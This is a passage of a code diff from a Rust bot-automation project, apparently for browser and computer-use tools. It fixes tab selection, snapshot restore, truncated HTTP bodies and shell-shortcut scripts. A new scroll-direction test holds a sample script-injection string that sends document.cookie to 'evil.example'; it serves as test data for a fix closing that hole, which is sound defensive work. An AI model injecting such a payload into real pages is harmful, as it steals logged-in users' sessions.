||||||
};
|
};
|
||||||
let mut editables: Vec<CFTypeRef> = Vec::new();
|
let mut editables: Vec<Cf> = Vec::new();
|
||||||
collect_editables(app.0, &mut editables, &mut 0, 0);
|
collect_editables(app.0, &mut editables, &mut 0, 0);
|
||||||
let mut out = Vec::new();
|
let mut out = Vec::new();
|
||||||
for (name, value) in fields {
|
for (name, value) in fields {
|
||||||
let best = editables
|
let best = editables
|
||||||
.iter()
|
.iter()
|
||||||
.filter_map(|e| {
|
.filter_map(|e| {
|
||||||
let s = name_match(&name_of(*e), name);
|
let s = name_match(&name_of(e.0), name);
|
||||||
(s > 0 && is_editable(*e)).then_some((s, *e))
|
(s > 0 && is_editable(e.0)).then_some((s, e.0))
|
||||||
})
|
})
|
||||||
.max_by_key(|(s, _)| *s);
|
.max_by_key(|(s, _)| *s);
|
||||||
out.push(match best {
|
out.push(match best {
|
||||||
|
|
@ -362,12 +359,15 @@ mod mac {
|
||||||
["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default()
|
["AXTitle", "AXDescription", "AXPlaceholderValue", "AXHelp"].iter().filter_map(|a| attr_string(el, a)).find(|s| !s.trim().is_empty()).unwrap_or_default()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn collect_editables(el: CFTypeRef, out: &mut Vec<CFTypeRef>, seen: &mut usize, depth: usize) {
|
/// Every field of the app that text can be written into (kept: see `keep`).
|
||||||
|
fn collect_editables(el: CFTypeRef, out: &mut Vec<Cf>, seen: &mut usize, depth: usize) {
|
||||||
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
*seen += 1;
|
*seen += 1;
|
||||||
out.push(el);
|
if is_editable(el) {
|
||||||
|
out.push(keep(el));
|
||||||
|
}
|
||||||
let (_keep, kids) = children(el);
|
let (_keep, kids) = children(el);
|
||||||
for k in kids {
|
for k in kids {
|
||||||
collect_editables(k, out, seen, depth + 1);
|
collect_editables(k, out, seen, depth + 1);
|
||||||
|
|
|
||||||
|
|
@ -545,13 +545,18 @@ pub fn release(job: &str) -> Vec<String> {
|
||||||
///
|
///
|
||||||
/// A page that actually went somewhere (http/https) beats a blank one at every step: a browser
|
/// A page that actually went somewhere (http/https) beats a blank one at every step: a browser
|
||||||
/// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab.
|
/// that boots on about:blank (headless Chrome does) must not strand a job on the empty tab.
|
||||||
|
/// The job's own tab counts as somewhere whenever it is not blank — a file it opened, a
|
||||||
|
/// chrome:// page: only http counted, so such a tab lost to any web page nobody had, and the
|
||||||
|
/// job's next step read and clicked in that one.
|
||||||
pub fn pick_tab(list: &[Value]) -> Option<&Value> {
|
pub fn pick_tab(list: &[Value]) -> Option<&Value> {
|
||||||
let me = job();
|
let me = job();
|
||||||
let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string();
|
let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string();
|
||||||
|
let url = |t: &Value| t["url"].as_str().unwrap_or("").to_string();
|
||||||
let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str());
|
let mine = |t: &Value| !me.is_empty() && owner(&id(t)).as_deref() == Some(me.as_str());
|
||||||
let live = |t: &Value| t["url"].as_str().unwrap_or("").starts_with("http");
|
let live = |t: &Value| url(t).starts_with("http");
|
||||||
|
let somewhere = |t: &Value| !url(t).is_empty() && !["about:", "chrome://newtab", "chrome://new-tab-page"].iter().any(|blank| url(t).starts_with(blank));
|
||||||
let free = |t: &Value| !others_tab(&id(t));
|
let free = |t: &Value| !others_tab(&id(t));
|
||||||
list.iter().find(|t| mine(t) && live(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t)))
|
list.iter().find(|t| mine(t) && somewhere(t)).or_else(|| list.iter().find(|t| free(t) && live(t))).or_else(|| list.iter().find(|t| mine(t))).or_else(|| list.iter().find(|t| free(t)))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The open page tabs' ids (none when the browser isn't open; it isn't started for this).
|
/// The open page tabs' ids (none when the browser isn't open; it isn't started for this).
|
||||||
|
|
@ -897,6 +902,9 @@ mod tests {
|
||||||
// A job's own real page still wins over a stranger's.
|
// A job's own real page still wins over a stranger's.
|
||||||
let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})];
|
let mine = vec![serde_json::json!({"type": "page", "id": "theirs", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "mine", "url": "https://mine.example"})];
|
||||||
assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into()));
|
assert_eq!(as_job("job-y", || { claim("mine"); pick_tab(&mine).map(|t| t["id"].clone()) }), Some("mine".into()));
|
||||||
|
// The job's own page that is no web page (a file it opened) is still its page.
|
||||||
|
let file = vec![serde_json::json!({"type": "page", "id": "web", "url": "https://other.example"}), serde_json::json!({"type": "page", "id": "report", "url": "file:///tmp/report.html"})];
|
||||||
|
assert_eq!(as_job("job-f", || { claim("report"); pick_tab(&file).map(|t| t["id"].clone()) }), Some("report".into()));
|
||||||
// All blank: keep the old behaviour (own tab, then any free one).
|
// All blank: keep the old behaviour (own tab, then any free one).
|
||||||
let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})];
|
let blanks = vec![serde_json::json!({"type": "page", "id": "b1", "url": "about:blank"}), serde_json::json!({"type": "page", "id": "b2", "url": "about:blank"})];
|
||||||
assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into()));
|
assert_eq!(as_job("job-z", || { claim("b2"); pick_tab(&blanks).map(|t| t["id"].clone()) }), Some("b2".into()));
|
||||||
|
|
|
||||||
|
|
@ -247,6 +247,16 @@ fn changes(before: &(String, String, Vec<String>), after: &(String, String, Vec<
|
||||||
// ---------- finding an element ----------
|
// ---------- finding an element ----------
|
||||||
|
|
||||||
/// The element a bot means: its number, else visible text / label / placeholder.
|
/// The element a bot means: its number, else visible text / label / placeholder.
|
||||||
|
/// The way browser_scroll goes: up, top, bottom, or (anything else) down.
|
||||||
|
fn scroll_direction(asked: &str) -> &'static str {
|
||||||
|
match asked.trim().to_lowercase().as_str() {
|
||||||
|
"up" => "up",
|
||||||
|
"top" => "top",
|
||||||
|
"bottom" => "bottom",
|
||||||
|
_ => "down",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn find_js(r#ref: &str, text: &str) -> String {
|
fn find_js(r#ref: &str, text: &str) -> String {
|
||||||
let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default();
|
let rf = serde_json::to_string(r#ref.trim().trim_matches(['[', ']'])).unwrap_or_default();
|
||||||
let tx = serde_json::to_string(text.trim()).unwrap_or_default();
|
let tx = serde_json::to_string(text.trim()).unwrap_or_default();
|
||||||
|
|
@ -744,14 +754,17 @@ pub fn run(name: &str, args: &Value) -> Result<(String, Option<String>), String>
|
||||||
let after = snapshot(&mut tab);
|
let after = snapshot(&mut tab);
|
||||||
return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None));
|
return Ok((format!("已捲到 {what}。\n{}", changes(&before, &after)), None));
|
||||||
}
|
}
|
||||||
let js = match s(args, "direction").as_str() {
|
// One of four words, never the model's own text: it goes into the page's script
|
||||||
|
// (anything else there ran as script on a page the person is logged in to).
|
||||||
|
let direction = scroll_direction(&s(args, "direction"));
|
||||||
|
let js = match direction {
|
||||||
"up" => "window.scrollBy(0, -innerHeight * 0.85)",
|
"up" => "window.scrollBy(0, -innerHeight * 0.85)",
|
||||||
"top" => "window.scrollTo(0, 0)",
|
"top" => "window.scrollTo(0, 0)",
|
||||||
"bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)",
|
"bottom" => "window.scrollTo(0, document.documentElement.scrollHeight)",
|
||||||
_ => "window.scrollBy(0, innerHeight * 0.85)",
|
_ => "window.scrollBy(0, innerHeight * 0.85)",
|
||||||
};
|
};
|
||||||
// Pages that scroll an inner box: scroll the biggest scrollable element too.
|
// Pages that scroll an inner box: scroll the biggest scrollable element too.
|
||||||
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()", s(args, "direction")))?;
|
tab.eval(&format!("(() => {{ {js}; const boxes = [...document.querySelectorAll('*')].filter(e => e.scrollHeight > e.clientHeight + 40 && /(auto|scroll)/.test(getComputedStyle(e).overflowY)).sort((a, b) => b.clientHeight - a.clientHeight); if (boxes[0]) {{ const b = boxes[0]; const d = '{direction}'; if (d === 'top') b.scrollTop = 0; else if (d === 'bottom') b.scrollTop = b.scrollHeight; else b.scrollTop += (d === 'up' ? -1 : 1) * b.clientHeight * 0.85; }} return 1; }})()"))?;
|
||||||
settle_after(&mut tab, &sig, 500, 2500);
|
settle_after(&mut tab, &sig, 500, 2500);
|
||||||
let after = snapshot(&mut tab);
|
let after = snapshot(&mut tab);
|
||||||
let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?;
|
let pos = tab.eval("JSON.stringify([Math.round(scrollY), document.documentElement.scrollHeight, innerHeight])")?;
|
||||||
|
|
@ -1083,6 +1096,14 @@ fn table(tab: &mut Tab, args: &Value) -> Result<String, String> {
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
|
|
||||||
|
/// The direction goes into the page's script: only the four words ever do.
|
||||||
|
#[test]
|
||||||
|
fn a_scroll_goes_one_of_four_ways() {
|
||||||
|
use super::scroll_direction;
|
||||||
|
assert_eq!((scroll_direction("up"), scroll_direction(" Top "), scroll_direction("bottom"), scroll_direction("")), ("up", "top", "bottom", "down"));
|
||||||
|
assert_eq!(scroll_direction("'; fetch('https://evil.example/?c=' + document.cookie); '"), "down");
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn the_one_tool_maps_every_action() {
|
fn the_one_tool_maps_every_action() {
|
||||||
let mut c = |args: &str| {
|
let mut c = |args: &str| {
|
||||||
|
|
|
||||||
|
|
@ -1063,10 +1063,14 @@ pub fn ensure_running() -> Result<(), String> {
|
||||||
Run::NoDocker(e) => Err(e),
|
Run::NoDocker(e) => Err(e),
|
||||||
Run::Absent => {
|
Run::Absent => {
|
||||||
set_run(Run::Starting("建立中"));
|
set_run(Run::Starting("建立中"));
|
||||||
|
// Asked before the box is made: Docker fills a new volume with the image's own
|
||||||
|
// home (.bashrc, .profile…), so a new home never looked empty afterwards and the
|
||||||
|
// saved one was never put back.
|
||||||
|
let new_home = !home_volume_exists();
|
||||||
create_container().and_then(|_| {
|
create_container().and_then(|_| {
|
||||||
// A brand-new box on an empty volume (a wiped Docker, a new host): the saved
|
// A brand-new box on an empty volume (a wiped Docker, a new host): the saved
|
||||||
// home brings the files and every bot's logins back by themselves.
|
// home brings the files and every bot's logins back by themselves.
|
||||||
if snapshot_path().exists() && !home_has_files() {
|
if snapshot_path().exists() && (new_home || !home_has_files()) {
|
||||||
log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…");
|
log("新的電腦家目錄是空的:從最近的快照還原檔案和登入…");
|
||||||
let src = snapshot_path();
|
let src = snapshot_path();
|
||||||
if let Err(e) = copy_in_snapshot(&src) {
|
if let Err(e) = copy_in_snapshot(&src) {
|
||||||
|
|
@ -1325,6 +1329,30 @@ fn copy_in_snapshot(src: &std::path::Path) -> Result<(), String> {
|
||||||
Err("還原沒有完成:copy-in outcome=unknown".into())
|
Err("還原沒有完成:copy-in outcome=unknown".into())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The home volume is there already (false also when Docker can't be asked: making the box
|
||||||
|
/// fails then, and nothing is restored).
|
||||||
|
fn home_volume_exists() -> bool {
|
||||||
|
dk(&["volume", "inspect", "-f", "{{.Name}}", volume()]).is_ok()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A saved snapshot can be read to its end (a whole gzip stream with something in it). Asked
|
||||||
|
/// before the home it is to replace is thrown away.
|
||||||
|
fn snapshot_whole(src: &std::path::Path) -> Result<(), String> {
|
||||||
|
let file = std::fs::File::open(src).map_err(|e| format!("打不開快照:{e}"))?;
|
||||||
|
let mut gz = flate2::read::GzDecoder::new(std::io::BufReader::new(file));
|
||||||
|
match std::io::copy(&mut gz, &mut std::io::sink()) {
|
||||||
|
Ok(0) => Err("快照是空的".into()),
|
||||||
|
Ok(_) => Ok(()),
|
||||||
|
Err(e) => Err(format!("快照壞了,讀不到最後:{e}")),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Throw the home volume away. Said when it can't be (another container still holds it): the
|
||||||
|
/// step after it would otherwise call old files a new computer.
|
||||||
|
fn remove_home_volume() -> Result<(), String> {
|
||||||
|
dk(&["volume", "rm", "-f", volume()]).map(|_| ()).map_err(|e| format!("清不掉電腦裡的資料({})。原本的檔案都還在,沒有動到。", tail(&e, 200)))
|
||||||
|
}
|
||||||
|
|
||||||
fn home_has_files() -> bool {
|
fn home_has_files() -> bool {
|
||||||
dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false)
|
dk(&["exec", container(), "sh", "-c", &format!("ls -A {HOME} | head -1")]).map(|s| !s.trim().is_empty()).unwrap_or(false)
|
||||||
}
|
}
|
||||||
|
|
@ -1458,7 +1486,7 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
|
||||||
let _ = dk(&["rm", "-f", container()]);
|
let _ = dk(&["rm", "-f", container()]);
|
||||||
let _ = dk(&["rm", "-f", &holder_name()]);
|
let _ = dk(&["rm", "-f", &holder_name()]);
|
||||||
phase("wiping", "清除電腦裡的資料");
|
phase("wiping", "清除電腦裡的資料");
|
||||||
let _ = dk(&["volume", "rm", "-f", volume()]);
|
remove_home_volume()?;
|
||||||
phase("creating", "開一台全新的電腦");
|
phase("creating", "開一台全新的電腦");
|
||||||
if !image_exists() {
|
if !image_exists() {
|
||||||
build_image(false)?;
|
build_image(false)?;
|
||||||
|
|
@ -1474,10 +1502,15 @@ fn run_rebuild(kind: Rebuild, phase: &dyn Fn(&str, &str)) -> Result<(), String>
|
||||||
phase("backing-up", "復原前:先存下現在的電腦");
|
phase("backing-up", "復原前:先存下現在的電腦");
|
||||||
save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?;
|
save_snapshot().map_err(|e| format!("復原取消了:存不下現在的狀態({e})。先處理好這個,最近的變更才不會無聲消失。"))?;
|
||||||
}
|
}
|
||||||
|
// The snapshot is read through before anything is thrown away: the home was
|
||||||
|
// wiped first and the snapshot opened last, so one that couldn't be read (gone,
|
||||||
|
// cut short) left a computer with neither.
|
||||||
|
phase("backing-up", "確認快照讀得出來");
|
||||||
|
snapshot_whole(&src).map_err(|e| format!("復原取消了:{e}。電腦沒有動到。"))?;
|
||||||
phase("cleaning-up", "拆掉舊的電腦和它的資料");
|
phase("cleaning-up", "拆掉舊的電腦和它的資料");
|
||||||
let _ = dk(&["rm", "-f", container()]);
|
let _ = dk(&["rm", "-f", container()]);
|
||||||
let _ = dk(&["rm", "-f", &holder_name()]);
|
let _ = dk(&["rm", "-f", &holder_name()]);
|
||||||
let _ = dk(&["volume", "rm", "-f", volume()]);
|
remove_home_volume()?;
|
||||||
phase("creating", "從快照開一台新的電腦");
|
phase("creating", "從快照開一台新的電腦");
|
||||||
if !image_exists() {
|
if !image_exists() {
|
||||||
build_image(false)?;
|
build_image(false)?;
|
||||||
|
|
@ -2392,6 +2425,27 @@ pub fn shutdown() {
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
/// 復原 reads the snapshot through before it throws the home away: one cut short, empty or
|
||||||
|
/// gone is refused while the computer is still whole.
|
||||||
|
#[test]
|
||||||
|
fn a_snapshot_is_read_through_before_the_home_goes() {
|
||||||
|
use std::io::Write;
|
||||||
|
let dir = std::env::temp_dir().join(format!("anybot-snapshot-whole-{}", std::process::id()));
|
||||||
|
let _ = std::fs::create_dir_all(&dir);
|
||||||
|
let mut gz = flate2::write::GzEncoder::new(vec![], flate2::Compression::default());
|
||||||
|
gz.write_all(&vec![7u8; 200_000]).unwrap();
|
||||||
|
let whole = gz.finish().unwrap();
|
||||||
|
let file = dir.join("snapshot.tar.gz");
|
||||||
|
std::fs::write(&file, &whole).unwrap();
|
||||||
|
assert!(snapshot_whole(&file).is_ok());
|
||||||
|
std::fs::write(&file, &whole[..whole.len() / 2]).unwrap();
|
||||||
|
assert!(snapshot_whole(&file).unwrap_err().contains("讀不到最後"));
|
||||||
|
std::fs::write(&file, b"").unwrap();
|
||||||
|
assert!(snapshot_whole(&file).is_err());
|
||||||
|
assert!(snapshot_whole(&dir.join("none.tar.gz")).unwrap_err().contains("打不開"));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn typing_replaces_a_one_line_field_however_it_is_named() {
|
fn typing_replaces_a_one_line_field_however_it_is_named() {
|
||||||
let none = serde_json::json!({});
|
let none = serde_json::json!({});
|
||||||
|
|
|
||||||
|
|
@ -1358,8 +1358,10 @@ fn run_inner(name: &str, v: &Value) -> Result<(String, Option<String>), String>
|
||||||
crate::marks::names_to_numbers(&mut named, spots.as_ref())?;
|
crate::marks::names_to_numbers(&mut named, spots.as_ref())?;
|
||||||
}
|
}
|
||||||
let v = &named;
|
let v = &named;
|
||||||
if !cfg!(any(target_os = "macos", target_os = "linux")) {
|
// (Windows was still turned away here after it got its hands — win.rs — so nothing in
|
||||||
return Err("操作畫面只支援 macOS 和 Linux".into());
|
// that file could ever run.)
|
||||||
|
if !cfg!(any(target_os = "macos", target_os = "linux", target_os = "windows")) {
|
||||||
|
return Err("操作畫面只支援 macOS、Linux 和 Windows".into());
|
||||||
}
|
}
|
||||||
if name == "computer_use_wait_for" {
|
if name == "computer_use_wait_for" {
|
||||||
return Ok((wait_for_tool(v)?, None));
|
return Ok((wait_for_tool(v)?, None));
|
||||||
|
|
@ -1496,7 +1498,7 @@ pub fn demo_supported() -> bool {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// This system's screen can be seen and used (macOS; Linux on X11 or Wayland).
|
/// This system's screen can be seen and used (macOS; Windows; Linux on X11 or Wayland).
|
||||||
pub fn screen_supported() -> bool {
|
pub fn screen_supported() -> bool {
|
||||||
#[cfg(target_os = "linux")]
|
#[cfg(target_os = "linux")]
|
||||||
{
|
{
|
||||||
|
|
@ -1504,7 +1506,7 @@ pub fn screen_supported() -> bool {
|
||||||
}
|
}
|
||||||
#[cfg(not(target_os = "linux"))]
|
#[cfg(not(target_os = "linux"))]
|
||||||
{
|
{
|
||||||
cfg!(target_os = "macos")
|
cfg!(any(target_os = "macos", target_os = "windows"))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
27
src/httpd.rs
27
src/httpd.rs
|
|
@ -221,8 +221,10 @@ pub fn read_request(c: &mut TcpStream) -> Result<Req, u16> {
|
||||||
}
|
}
|
||||||
while body.len() < len {
|
while body.len() < len {
|
||||||
let n = c.read(&mut buf).map_err(|_| 400u16)?;
|
let n = c.read(&mut buf).map_err(|_| 400u16)?;
|
||||||
|
// The connection ended before the whole body came: not a request. (Half a body
|
||||||
|
// used to be handed on as the request: half an upload, saved over the whole one.)
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
break;
|
return Err(400);
|
||||||
}
|
}
|
||||||
body.extend_from_slice(&buf[..n]);
|
body.extend_from_slice(&buf[..n]);
|
||||||
}
|
}
|
||||||
|
|
@ -512,4 +514,27 @@ mod tests {
|
||||||
assert_eq!(v["n"], 100_000);
|
assert_eq!(v["n"], 100_000);
|
||||||
assert_eq!(v["p"], "/a/b");
|
assert_eq!(v["p"], "/a/b");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// An upload cut off on the way is no request (it used to be answered as a whole one).
|
||||||
|
#[test]
|
||||||
|
fn half_a_body_is_not_a_request() {
|
||||||
|
use std::io::Write;
|
||||||
|
let l = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||||
|
let port = l.local_addr().unwrap().port();
|
||||||
|
let send = move |bytes: &'static [u8]| {
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let mut c = TcpStream::connect(("127.0.0.1", port)).unwrap();
|
||||||
|
c.write_all(bytes).unwrap();
|
||||||
|
// (Closed here, before the rest of the body.)
|
||||||
|
})
|
||||||
|
};
|
||||||
|
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\nabc");
|
||||||
|
let (mut c, _) = l.accept().unwrap();
|
||||||
|
assert_eq!(read_request(&mut c).err(), Some(400));
|
||||||
|
t.join().unwrap();
|
||||||
|
let t = send(b"POST /backup HTTP/1.1\r\nContent-Length: 10\r\n\r\n0123456789");
|
||||||
|
let (mut c, _) = l.accept().unwrap();
|
||||||
|
assert_eq!(read_request(&mut c).map(|r| r.body).ok(), Some(b"0123456789".to_vec()));
|
||||||
|
t.join().unwrap();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -102,39 +102,42 @@ pub fn script(name: &str, arg: &str) -> Result<String, String> {
|
||||||
return Err(format!("沒有捷徑「{name}」。"));
|
return Err(format!("沒有捷徑「{name}」。"));
|
||||||
}
|
}
|
||||||
let a = arg.trim();
|
let a = arg.trim();
|
||||||
let mac = |s: &str| format!("case \"$(uname -s)\" in Darwin) {s} ;; Linux) ");
|
// One script for both systems: `case` picks the branch on the machine that runs it. (The
|
||||||
|
// Mac command used to land in the Linux branch and the Linux one after it as a stray
|
||||||
|
// pattern, with a `)` left over: every shortcut was a syntax error on every machine.)
|
||||||
|
let on = |mac: &str, linux: &str| format!("case \"$(uname -s)\" in Darwin) {mac} ;; Linux) {linux} ;; esac");
|
||||||
Ok(match (name, a) {
|
Ok(match (name, a) {
|
||||||
("volume", "up") => format!(
|
("volume", "up") => on(
|
||||||
"{}osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+ ;; esac)",
|
"osascript -e 'set u to (output volume of (get volume settings)) + 15' -e 'if u > 100 then set u to 100' -e 'set volume output volume u'",
|
||||||
mac("")
|
"pactl set-sink-volume @DEFAULT_SINK@ +15% 2>/dev/null || amixer -q sset Master 15%+",
|
||||||
),
|
),
|
||||||
("volume", "down") => format!(
|
("volume", "down") => on(
|
||||||
"{}osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u' ;; pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%- ;; esac)",
|
"osascript -e 'set u to (output volume of (get volume settings)) - 15' -e 'if u < 0 then set u to 0' -e 'set volume output volume u'",
|
||||||
mac("")
|
"pactl set-sink-volume @DEFAULT_SINK@ -15% 2>/dev/null || amixer -q sset Master 15%-",
|
||||||
),
|
),
|
||||||
("volume", "mute") => format!(
|
("volume", "mute") => on(
|
||||||
"{}osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)' ;; pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle ;; esac)",
|
"osascript -e 'set m to muted of (get volume settings)' -e 'set volume output muted (not m)'",
|
||||||
mac("")
|
"pactl set-sink-mute @DEFAULT_SINK@ toggle 2>/dev/null || amixer -q sset Master toggle",
|
||||||
),
|
),
|
||||||
("volume", "unmute") => format!("{}osascript -e 'set volume output muted false' ;; pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute ;; esac)", mac("")),
|
("volume", "unmute") => on("osascript -e 'set volume output muted false'", "pactl set-sink-mute @DEFAULT_SINK@ 0 2>/dev/null || amixer -q sset Master unmute"),
|
||||||
("volume", set) => {
|
("volume", set) => {
|
||||||
// "set 40" as the facts line teaches; a bare "40" is kindly taken too.
|
// "set 40" as the facts line teaches; a bare "40" is kindly taken too.
|
||||||
let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else {
|
let Some(n) = is_num(set.strip_prefix("set ").unwrap_or(set).trim()) else {
|
||||||
return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into());
|
return Err("volume 的 arg 要写成 set 0-100(如 set 40)或 up/down/mute/unmute。".into());
|
||||||
};
|
};
|
||||||
format!("{}osascript -e 'set volume output volume {n}' ;; pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}% ;; esac)", mac(""))
|
on(&format!("osascript -e 'set volume output volume {n}'"), &format!("pactl set-sink-volume @DEFAULT_SINK@ {n}% 2>/dev/null || amixer -q sset Master {n}%"))
|
||||||
}
|
}
|
||||||
("wifi", "on") => format!("{}networksetup -setairportpower en0 on ;; nmcli radio wifi on 2>/dev/null || rfkill unblock wifi ;; esac)", mac("")),
|
("wifi", "on") => on("networksetup -setairportpower en0 on", "nmcli radio wifi on 2>/dev/null || rfkill unblock wifi"),
|
||||||
("wifi", "off") => format!("{}networksetup -setairportpower en0 off ;; nmcli radio wifi off 2>/dev/null || rfkill block wifi ;; esac)", mac("")),
|
("wifi", "off") => on("networksetup -setairportpower en0 off", "nmcli radio wifi off 2>/dev/null || rfkill block wifi"),
|
||||||
("lock", "") => format!("{}pmset displaysleepnow ;; loginctl lock-session 2>/dev/null || xset dpms force off ;; esac)", mac("")),
|
("lock", "") => on("pmset displaysleepnow", "loginctl lock-session 2>/dev/null || xset dpms force off"),
|
||||||
("dark", "dark") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-dark ;; esac)", mac("")),
|
("dark", "dark") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to true'", "gsettings set org.gnome.desktop.interface color-scheme prefer-dark"),
|
||||||
("dark", "light") => format!("{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false' ;; gsettings set org.gnome.desktop.interface color-scheme prefer-light ;; esac)", mac("")),
|
("dark", "light") => on("osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to false'", "gsettings set org.gnome.desktop.interface color-scheme prefer-light"),
|
||||||
("dark", "toggle") => format!(
|
("dark", "toggle") => on(
|
||||||
"{}osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)' ;; gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\" ;; esac)",
|
"osascript -e 'tell application \"System Events\" to tell appearance preferences to set dark mode to not (dark mode)'",
|
||||||
mac("")
|
"gsettings set org.gnome.desktop.interface color-scheme \"$( [ \"$(gsettings get org.gnome.desktop.interface color-scheme)\" = \"'prefer-dark'\" ] && echo prefer-light || echo prefer-dark )\"",
|
||||||
),
|
),
|
||||||
("trash", "") => format!("{}osascript -e 'tell application \"Finder\" to empty trash' ;; rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\" ;; esac)", mac("")),
|
("trash", "") => on("osascript -e 'tell application \"Finder\" to empty trash'", "rm -rf \"$HOME/.local/share/Trash/files\" \"$HOME/.local/share/Trash/info\""),
|
||||||
("eject", "") => format!("{}osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)' ;; echo 只有 Mac 有這個捷徑 ;; esac)", mac("")),
|
("eject", "") => on("osascript -e 'tell application \"Finder\" to eject (every disk whose ejectable is true)'", "echo 只有 Mac 有這個捷徑"),
|
||||||
(_, "") => return Err(format!("「{name}」不需要 arg。")),
|
(_, "") => return Err(format!("「{name}」不需要 arg。")),
|
||||||
(_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))),
|
(_, _) => return Err(format!("「{name}」的 arg 不對。看捷徑說明:{}", find(name).map(|i| i.usage).unwrap_or(""))),
|
||||||
})
|
})
|
||||||
|
|
@ -198,10 +201,29 @@ mod tests {
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn a_shortcut_runs_here_and_says_so() {
|
fn every_script_is_a_script_the_shell_can_read() {
|
||||||
// This machine is Linux: volume goes through pactl/amixer; with neither in the
|
// Parsed, never run (`sh -n`): running one here would lock the screen or change the
|
||||||
// sandbox the script still returns an honest sentence, never a panic.
|
// volume of whoever runs the tests. The test that ran `lock` passed for the wrong
|
||||||
let (text, _) = tool(&serde_json::json!({"intent_name": "lock"})).unwrap();
|
// reason — every script was a syntax error, and the failure sentence starts with the
|
||||||
assert!(text.starts_with("捷徑 lock"), "{text}");
|
